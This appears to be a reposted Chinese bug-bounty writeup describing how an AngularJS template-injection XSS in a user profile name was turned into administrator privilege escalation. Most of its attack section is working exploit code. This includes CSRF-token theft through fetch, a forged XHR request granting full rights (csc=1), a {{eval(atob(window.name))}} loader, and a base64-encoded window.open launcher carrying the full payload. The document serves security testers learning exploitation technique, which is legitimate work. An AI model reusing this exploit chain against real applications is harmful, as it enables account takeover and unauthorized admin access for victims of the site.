前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >利用基于AngularJS的XSS实现提权

利用基于AngularJS的XSS实现提权

作者头像
FB客服
发布于 2019-10-10 08:50:40
发布于 2019-10-10 08:50:40
1.3K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

大家好,我是Shawar Khan。自我上次写作以来已经时隔好几个月了,这段时间我一直忙于不同的测试目标。最近我在某个目标中发现了一个有趣的XSS漏洞,通过该漏洞我可以将我的权限提升为管理员用户。

XSS是一个非常有趣的漏洞,在发现它之后,你可以直接与应用程序进行通信,而无需担心同源策略。一切都在我们的控制之中,大部分保护都被打破了。

管理员用户拥有应用程序的最高权限可以对任意用户执行添加/删除/编辑操作。而我最终得以提升到管理员权限就是通过XSS做到的。每当我发现XSS,我都会尝试使用一些独特的方式来利用它们。令牌抓取,CSRF保护绕过或是抓取cookie,现在看来已经显得有些过时。

在我的测试期间,在用户配置文件页面我发现了多个XSS漏洞。每个注册用户都有不同的配置文件页面,如“https://www.site.com/users/username-here”。

发现基于 AngularJS 的XSS:

这是一个所有特权用户均可访问包含用户帐户名和姓的页面。应用简单的测试探针,如"><img src=x onerror=prompt()>"并没有显示任何结果,所以这说明该应用已做了适当的XSS保护。所有特殊字符都被正确过滤,这引发了我的另一思考,为什么不尝试获取基于AngularJS的XSS呢?转到“ settings”并将帐户名更改为“{{alert(1)}}”。

因此,我以不同的特权用户身份测试了相同的内容,并导航到了我的配置文件/users/username_page(任何用户均可访问)触发payload。

当尝试提升权限时,你的主要目标是寻找能够编辑你角色的功能或是邀请你进入不受限区域的功能。在我的例子中,管理员用户有权编辑/添加用户。

在我的例子中,我有一个测试管理员帐户来测试这些问题,所以我知道要添加一个新的管理员特权用户需要复制什么请求。在没有访问权限的情况下,你只需尝试通过发送document.body.innerHTML的输出来获取管理帐户的源码,并尝试获取有关内部功能的信息。可以利用XSSHunter和其他一些工具来获取此类信息。

如何提供 payload ?

无论如何,用户名字段的长度限制很短,因此无法在该字段中编写整个漏洞利用代码。用户名还会将条目添加到配置文件页面,此外它也会显示为恶意内容。同样受限于长度,无法注入引用外部JavaScript的脚本标记。

与往常一样,我通过window.name提供payload。我总是通过window.name提供payload,因为它没有利用限制,加载我们的漏洞利用代码的payload限制为20个字符,因为我们将只加载给定的payload并将其提供给eval(atob(top.name))使用这种技术的另一个好处是,可以绕过绕过许多恶意关键字的验证检查,因为我们的主要漏洞利用代码不会被输入到易受攻击的应用程序中。因此简而言之,我们的攻击代码不会被验证和检查。

因此,可以通过使用window.open(url,”window name here”) 打开一个URL来设置window name,我们将漏洞利用代码设置为base64。因此,通过调用window.name,它将返回我们的漏洞代码,这些代码将由eval()执行

定位用户修改功能:

此功能发现于管理用户门户,并且最高权限用户能够任意更改应用程序中用户的数据和权限。这里有不同的选项,如电子邮件更改和复选框,以确认用户是否具有更高的权限。通过设置参数“csc=1”,用户将被授予full权限,但此操作只能由管理员用户执行。如果仅检索源码,则可以通过执行源码审查来了解哪些端点采用哪些参数来映射所有功能。

以下是将用户修改为管理员和完全权限用户的请求:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1

为了提升我们的权限,应该再现以上请求,这样当更高权限用户访问我们的漏洞利用代码时,我们的用户将被修改。

编写漏洞利用代码:

我们首先要检索的是CSRF令牌,这样我们就可以验证请求。有时它会出现在cookie中,因此从document.cookie中检索它非常容易,但在本例中,是在一个meta标记中找到的:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<meta name="CSRF_TOKEN" content="TOKEN_HERE">

我使用fetch()打开了位于/settings的设置页面,并将其输出存储在变量woot中。然后我使用woot.getElementsByTagName(‘meta’)[3][‘content’]来检索CSRF令牌的值,并将其存储到新变量csrf_token中,现在我们的漏洞利用代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content']
...
...
...

现在我们将使用XHR重现请求:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}

上面的privilege_escalate()函数在执行时将发送一个POST请求,该请求将更改攻击者帐户(在我的例子中为mrs-camylle-kertzmazevalwindowname)的信息,并将名称更改为payload {{eval(atob(window.name))}}这将保留名称,因此当window.name具有漏洞利用代码时,它将用于从window.name执行漏洞利用代码。此外,该请求的csc=1这将更改用户的权限。

最终的漏洞利用代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// XSS Exploit code for Privilege Escalation
// Author: Shawar Khan
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
privilege_escalate();
function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
}
)

漏洞利用代码可进一步base64编码并用作window name,因此当eval(atob(window.name))执行该代码时将触发它。我们现在可以使用以下代码打开我们的配置文件页面,并将我们的漏洞利用代码设置为window name。这样,一旦访问了window.name,我们的漏洞利用代码就会被触发:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<script>window.open('https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname','dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxL**wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZ**ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlL**yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop')</script>

在以下截图中我们可以看到,我们的用户可以访问的功能受限:

而在高权限用户成功执行漏洞利用代码后,我们的帐户拥有了最高权限以及对管理功能的访问权限。如下图所示:

总结

每当测试XSS漏洞时,千万不要因为应用程序对用户输入的正确过滤而放弃。你应该进一步的通过尝试使用其他技术来实现对XSS的有效利用。例如本文中提到的XSS。尝试使用{{alert(1}}或尝试上传.swf,.svg,.html,.url等文件。

永远不要停留在漏洞的检测上,总是试着去了解它的局限性和范围。在面对XSS时,尝试与独特的功能进行交互,而不仅仅只是一个弹窗。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
世界上最美的公式——欧拉公式
在数学历史上有很多公式都是欧拉(leonhard euler 公元1707-1783年)发现的,它们都叫做
meihuasheng
2021/03/16
2.3K0
复数整理
复数是由实部和虚部组成的数: z=a+bi    (i^2=-1),其中a为实部,b为虚部。
算法之名
2022/11/29
2.2K0
复数整理
扒一扒那些叫欧拉的定理们(十)——群论观点下的欧拉公式进阶
在上一篇中,我们从群论的观点给大家开了个头,介绍了直线上的两个变换群,分别对应正数乘法群和实数加法群,并指出了它们的同构关系,并且正是以指数函数作为映射函数。今天我们继续看,这些内容是怎么帮我们理解欧拉公式的。还是重复一下欧拉公式的内容:
magic2728
2021/08/06
1.2K0
知乎热议最丑陋的数学公式:「四次方程求根」高票当选
一直以来数学都是被认为神秘、深奥的一门学科,一个极端简洁又极端精确的公式就能够描述问题,并给出解决方案。
新智元
2021/10/12
1.6K0
扒一扒那些叫欧拉的定理们(八)——欧拉公式和自然对数的底e
从今天开始,我们开始进入一个新的领域,也是欧拉他老爷子开创的,来看看复数领域的欧拉定理,以及欧拉公式里有着怎样的智慧。
magic2728
2021/07/14
1.5K0
吴大正信号与系统-频域分析总结
吴大正的书现在来看是真不错,奥本海姆让我迷失在了知识的海洋。反而现在看这种国内教科书的感觉非常好。
云深无际
2024/10/11
2280
吴大正信号与系统-频域分析总结
《信号与系统》很难?也许你应该看看这篇文章
小枣君:大家都知道《信号与系统》是一门很难的课。今天给大家推荐一篇文章,看了之后,也许就会找到打开这门课的正确方式。
鲜枣课堂
2019/07/22
2.1K0
最美公式
这个欧拉公式的神奇之处在于,它把数学中最基本的五个常数,以非常优美的形式结合了起来:   e——自然对数,代表了大自然   π——圆周率,代表了无限   i——虚数单位,代表了想象   1——数字一,代表了起点   0——数字零,代表了终点   乘法代表结合,指数代表加成,加法代表累计,等号代表统一。
一个会写诗的程序员
2020/10/28
9830
最美公式
计算机搞定44年几何难题,原来这2个人25年前猜对了
最近,来自美国、加拿大、瑞士的4位数学家,用C++和MATLAB程序解出了一个6元105项方程的59组特殊解。
量子位
2021/02/26
5510
计算机搞定44年几何难题,原来这2个人25年前猜对了
刚体力学整理
质点:一个有质量的几何点,忽略其大小、形状及内部结构的影响,在空间只占据一个点的位置。它是对实际研究对象的简化,理想模型。
算法之名
2023/10/16
1.1K0
刚体力学整理
上帝公式——Euler's formula
虽然在我们对于自然数的理解下,这样求解出来的数没有任何实际意义,但是其在数学中却是真实存在的。
曼亚灿
2023/07/24
2.4K0
上帝公式——Euler's formula
7_3_三相电压的空间矢量表示_理论推导
这里面提到了“若能将三相3个标量用一个合成量表示,并保持信息的完整性,则三相的问题将简化为单相的问题”。下面聊聊这个问题。
用户5908113
2024/07/15
2750
7_3_三相电压的空间矢量表示_理论推导
盘点十个最伟大的公式,1+1=2仅排到了第七
从什么时候起我们开始厌恶数学?这些东西原本如此美丽,如此精妙。这个地球上有多少伟大的智慧曾耗尽一生,才最终写下一个等号。每当你解不开方程的时候,不妨换一个角度想,暂且放下对理科的厌恶和对考试的痛恨。因
小明互联网技术分享社区
2021/06/24
7930
大模型与AI底层技术揭秘(41)割圆术与雪糕
小H在楼下见到S和他的妈妈,S的妈妈对S说:你看,你还记得小H当初教你背圆周率吗?
用户8289326
2024/07/01
1410
大模型与AI底层技术揭秘(41)割圆术与雪糕
世界上最伟大的十大公式
导读:几年前英国科学期刊《物理世界》曾让读者投票评选了“最伟大的公式”,最终榜上有名的十个公式既有无人不知的1+1=2,又有著名的E=mc^2;既有简单的-圆周公式,又有复杂的欧拉公式……
边缘计算
2020/09/08
2.9K0
高数计算,我Python替你承包了
在学习与科研中,经常会遇到一些数学运算问题,使用计算机完成运算具有速度快和准确性高的优势。Python的Numpy包具有强大的科学运算功能,且具有其他许多主流科学计算语言不具备的免费、开源、轻量级和灵活的特点。本文使用Python语言的NumPy库,解决数学运算问题中的线性方程组问题、积分问题、微分问题及矩阵化简问题,结果准确快捷,具有一定的借鉴意义。
我被狗咬了
2019/09/23
2.5K0
高数计算,我Python替你承包了
傅里叶变换公式整理,意义和定义,概念及推导
看到论坛有一个朋友提问为什么傅里叶变换可以将时域变为频域? 这个问题真是问到了灵魂深处。
全栈程序员站长
2022/09/13
5.1K0
傅里叶变换公式整理,意义和定义,概念及推导
除了欧拉公式,这8个数学公式也足够美丽且神奇
我对这个概率分布公式的认识是在上《普通物理》(我读书时大学物理叫做普通物理)时,记得是讲解气体分子的碰撞。
程序员小强
2020/02/11
2.4K0
英国科学期刊选出了世界上最美丽的10个公式
◆ ◆ ◆ 导言 英国科学期刊《物理世界》曾让读者投票评选了“最伟大的公式”,最终榜上有名的十个公式既有无人不知的1+1=2,又有著名的E=mc2;既有简单的圆周公式,又有复杂的欧拉公式……从什么时候起我们开始厌恶数学?这些东西原本如此美丽,如此精妙。这个地球上有多少伟大的智慧曾耗尽一生,才最终写下一个等号。每当你解不开方程的时候,不妨换一个角度想,暂且放下对理科的厌恶和对考试的痛恨。因为你正在见证的,是科学的美丽与人类的尊严。 ◆ ◆ ◆ 圆的周长公式(The Length of the Circumf
大数据文摘
2018/05/25
4780
数学原来这么有趣,66组超炫动图唤醒你的思维!
无论怎样,看完这一组动图,你不仅能够感受到数学美丽的一面,同时也会对我们常见的公式定理有更深刻、直观的理解!
IT阅读排行榜
2019/01/23
1.3K0
数学原来这么有趣,66组超炫动图唤醒你的思维!
推荐阅读
相关推荐
世界上最美的公式——欧拉公式
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档